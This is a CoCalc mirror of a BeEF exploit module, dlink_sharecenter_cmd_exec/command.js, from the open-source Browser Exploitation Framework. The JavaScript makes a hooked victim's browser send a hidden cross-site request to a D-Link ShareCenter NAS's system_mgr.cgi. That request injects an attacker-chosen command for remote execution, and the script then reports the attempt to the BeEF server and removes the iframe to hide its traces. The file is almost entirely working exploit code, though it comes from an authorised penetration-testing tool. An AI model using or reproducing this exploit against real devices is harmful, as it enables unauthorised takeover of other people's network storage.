Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/nas/dlink_sharecenter_cmd_exec/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var gateway = '<%= @base %>';
10
var path = '/cgi-bin/system_mgr.cgi';
11
var cmd = '<%= @cmd.gsub(/'/, "\\\'").gsub(/"/, '\\\"') %>';
12
var timeout = 15;
13
14
var dlink_sharecenter_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + path, "GET", "application/x-www-form-urlencoded", [
15
{'type':'hidden', 'name':'cmd', 'value':'cgi_sms_test'},
16
{'type':'hidden', 'name':'command1', 'value':cmd}
17
]);
18
19
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
20
21
cleanup = function() {
22
document.body.removeChild(dlink_sharecenter_iframe_<%= @command_id %>);
23
}
24
setTimeout("cleanup()", timeout*1000);
25
26
});
27
28
29